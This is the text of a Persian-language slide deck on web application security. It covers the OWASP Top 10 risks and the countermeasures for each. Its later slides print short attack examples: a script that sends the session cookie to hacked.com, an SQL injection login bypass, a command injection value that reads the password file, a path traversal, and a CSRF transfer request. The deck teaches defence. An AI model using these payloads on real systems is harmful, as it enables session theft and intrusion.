امنیت نرم افزارهای وب
اسلاید 1: امنیت نرمافزارهای وبعباس نادریAbbas Naderi (aka AbiusX)اعتباران انفورماتیکabiusx@etebaran.comabiusx@jframework.infoabiusx@owasp.org10/1/2009۱۳۸۸/۷/9تقديم به پيشگاه مقدس امام عصر (عج)
اسلاید 2: امنیت دنیای وبسهل انگاری در اوج اهمیت
اسلاید 3: OWASP TOP 10Cross Site Scripting (XSS)Injection FlawsInsecure Remote File IncludeInsecure Direct Object ReferenceCross Site Request Forgery (CSRF)Information Leakage and Improper Error HandlingBroken Authentication and Session ManagementInsecure Cryptographic StorageInsecure CommunicationsFailure to Restrict URL Access۱۰ خطر اصلی
اسلاید 4: 1.Cross Site Scripting (XSS)اسکریپت نویسی مابین سایتی بیش از ۲۰٪ سایتها آسیب پذیرند مقابله با آن به غایت مشکل است هرروزه روشهای جدید فراوانی کشف می شوند جایگزینهای معمول برای کاربران سختیهایی دارند میتوانند به صورت کرم منتشر شوند
اسلاید 5: 1. Cross Site Scripting (XSS)روشهای مقابله:کتابخانههای بسیار پیچیده، سنگین و کندکتابخانهها نیز ۱۰۰٪ مصون نیستندتحریم امکان استفاده از قالببندیاستفاده از سیستمهای جایگزین (BBCode)همگامی با دنیای امنیت اطلاعات
اسلاید 6: 2. Injection Flawsتزریقات حدود ۱۵٪ سایتها آسیبپذیر آسیبپذیری بسیار محلک و اعمال آن ساده است در دو دسته آگاهانه و کور انجام میگیرد معمولترین دلیل هک شدن و رسوخ به سایتها علارقم معروفی بسیار، توسعهدهندگان بیخبرند مقابله با آن معمولا ناقص انجام میگیرد در صورت شناخت کافی، مقابله بسیار آسان است
اسلاید 7: 2. Injection Flawsروشهای مقابله:استفاده از واسطهای امن برای دستورات پویااستفاده از PreparedStatements برای SQLعدم استفاده از Escaping به عنوان تنها راهبررسی ورودیبررسی لیست سفیدی ورودیها
اسلاید 8: 3. Insecure Remote File Includeتزریق کد مخرب احتیاج به آگاهی از روش کار معمولا توسط توسعهدهندگان رعایت نمیشود توسط تنظیمات بستری قابل رفع بسیار بسیار مخرب و خطرناک در صورت وجود و کشف امکان انجام انواع حملات بدون متوجه شدن سیستم
اسلاید 9: 3. Insecure Remote File Includeروشهای مقابله:عدم استفاده از کدفایل متغیربررسی کامل و بسیار دقیق متغیر در آدرس کدتبیین دقیق قوانین استفادهتنظیمات سکوی اجرا
اسلاید 10: 4. Insecure Direct Object Referenceارائه اطلاعات ناخواستهعدم آگاهی توسعهدهندگان پیچیدگی یافت و جلوگیری پیشآمدن قطعی در سیستمهای پیچیده بسیار زمانگیر و دشوار جهت کشف برای نفوذگران
اسلاید 11: 4. Insecure Direct Object Referenceروشهای مقابله:تعیین دقیق معماری سیستم و پیروی از آنمشخص کردن لایه تعیین دسترسی به همه چیزپیادهسازی صحیح روشها و پیروی از معماری
اسلاید 12: 5.Cross Site Request Forgery (CSRF)جعل درخواست بین سایتی عدم علم توسعهدهندگان عدم درک صحیح توسعهدهندگان بسیار ساده و قابل انجام میتواند به غایت حساس و خطرناک باشد یا نه کاربری معمول به سادگی برطرف میشود موارد پیچیده احتیاج به پردازش خروجی دارند
اسلاید 13: 5.Cross Site Request Forgery (CSRF)روشهای مقابله:عدم استفاده از GET برای فرآیندهاجفتگیری تصادفی در کلاینت و سرور نااتوماتیکفرم ورود به سیستم مجدد در فرآیند حساسجلوگیری از XSS
اسلاید 14: 6. Information Leakage and Improper Error Handlingنشت اطلاعات و نقص مدیریت خطا قدم اول انواع نفوذ تقریبا تمام سیستمها آسیب پذیرند اهمیت آن معمولا درنظر گرفته نمیشود آگاهی نسبتا کامل از سیستم با Stack Trace یا SQL روشهای مقابله اتوماتیک ناکارآمد روشهای مقابله دستی بسیار کند و هزینهبر
اسلاید 15: 6. Information Leakage and Improper Error Handlingروشهای مقابله:عدم ارائه خطا و ارور در سیستم عملیاتیتهیه گزارش کامل از همه عملکردهای سیستمتماس با مدیر و امنیت از طریق ایمیل یا SMSبررسی دقیق و تست کامل محصول قبلاز ارائهاستفاده از سیستمهای اتوماتیک و تنظیم سکو
اسلاید 16: 7. Broken Authentication and Session Managementاحراز هویت و مدیریت نشست ناکارا بسیار بد و آسیب زننده احتیاج به بازنگری دائم و فراوان نقص در روشهای احراز هویت غیراستاندارد پیادهسازی دشوار و حساس در سیستمهای بزرگ
اسلاید 17: 7. Broken Authentication and Session Managementروشهای مقابله:استفاده از یک محور احرازهویتایجاد نشستهای مستقل پساز احراز هویتخروج از سیستم کارا و تخلیه اطلاعاتعدم ارائه اطلاعات نشستی و حساساستفاده از سیستمهای بالغتست و بررسی کد به صورت کامل
اسلاید 18: 8. Insecure Cryptographic Storageاستفاده نادرست از رمزنگاری بسیار معمول و خطرناک اکثر توسعهدهندگان و تیم آنها دانش رمزنگاری ندارند تکیه کامل بر رمزنگاری ناصحیح نفوذگران معدودی دانش رمزنگاری کافی دارند
اسلاید 19: 8. Insecure Cryptographic Storageروشهای مقابله:بررسی کد (تست پاسخگو نیست(عدم استفاده از الگوریتمهای دستیآموزش استفاده صحیح از الگوریتمهای قدرتمندعدم استفاده از الگوریتمهای منسوخ (مانند MD5)عدم استفاده از Hard Coding
اسلاید 20: 9. Insecure Communicationsارتباطات ناامن هزینهبر و احتیاج به صرف اعتبار جهت کسب اعتبار بار بیشتر بر روی سرورها و کلاینتها (نامطلوب) عدم درک صحیح از عمق مسئله راهاندازی دشوار بر سرور آموزش دشوار در کلاینت
اسلاید 21: 9. Insecure Communicationsروشهای مقابله:استفاده از SSL در تمام ارتباطات هویتداراستفاده از SSL در تمام فرآیندهای حساساستفاده از گواهینامه معتبر SSLاستفاده از نسخه معتبرSSL، نسخه ۳ یا TLS منطق عدم ارائه اطلاعات حساس در ارتباط ناامن توسط برنامه کنترل شود
اسلاید 22: 10. Failure to Restrict URL Accessناتوانی در محدود کردن دسترسی متدولوژی غلط Security by Obscurity عدم استفاده از کنترل دسترسی محوری کنترل دسترسی ناصحیح (مثلا بر روی کلاینت) دشواری پیادهسازی و استفاده از روشهای استاندارد
اسلاید 23: 10. Failure to Restrict URL Accessروشهای مقابله:استفاده از روشهای استاندارد و کارا (RBAC)اعمال اتوماتیک مکانیزم کنترل دسترسیبررسی کد کامل و معماری کارآمدعدم استفاده از آدرسهای مخفی
اسلاید 24: چند راهبرد عملیپیادهروی در اعماق باتلاق!
اسلاید 25: Cross Site Scripting (XSS)echo $_REQUEST[userinput];Reflected, Stored and DOM typesdocoment.write(<form name=f1 action=hacked.com><input name=sessionID value= +document.cookie+ /></form>);document.forms.f1.submit();
اسلاید 26: SQL Injection$sql = SELECT * FROM table WHERE id = . $_GET[id] . ;Text fields, Number Fields!!!Server Code:$R=mysql_query(SELECT * FROM users WHERE Username={$Username} AND Password={$Pass} );if ($R) echo You logged in successfully! ;Attack: username: foopassword: 1 or 1=1Manipulated SQL: SELECT * FROM users WHERE Username=1 AND Password=1 or 1=1
اسلاید 27: Command InjectionServer Code:Exec (mail .$UserData);UserData: hi; cat passwd; لیست کلمات عبور به همراه متن نامه، به نفوذگر ایمیل می شوند.
اسلاید 28: Malicious File ExecuteInclude direname(__FILE__)./request_handlers/.$R;به صورت پویا درخواست کاربر را پاسخ میگوییم...User Request:../../passwdباعث میشود فایل رمزهای عبور به جای فایل کد نمایش داده شود.
اسلاید 29: Insecure Direct Object Reference<select name=language><option value=ir>Farsi</option></select> ... Include ($_GET[language].lang.php);...<select name=language><option value=29871268398721>Farsi</option></select>Use Salts to prevent Brute-Force!
اسلاید 30: Cross Site Request Forgery (CSRF)<img src=http://www.example.com/transfer.do?frmAcct=document.form.frmAcct &toAcct=4345754&toSWIFTid=434343&amt=3434.43>
اسلاید 31: Insecure Cryptographic Storage$pass=md5($_GET[pass]); // unsafe!www.passcracking.comاستفاده صحیح(۱) از الگوریتمهای صحیح (۲)$pass=hash( sha-512 ,$_GET[pass].strtolower($_GET[user]));
اسلاید 32: سوالات، پیشنهادات؟منابع : www.owasp.org
نقد و بررسی ها
هیچ نظری برای این پاورپوینت نوشته نشده است.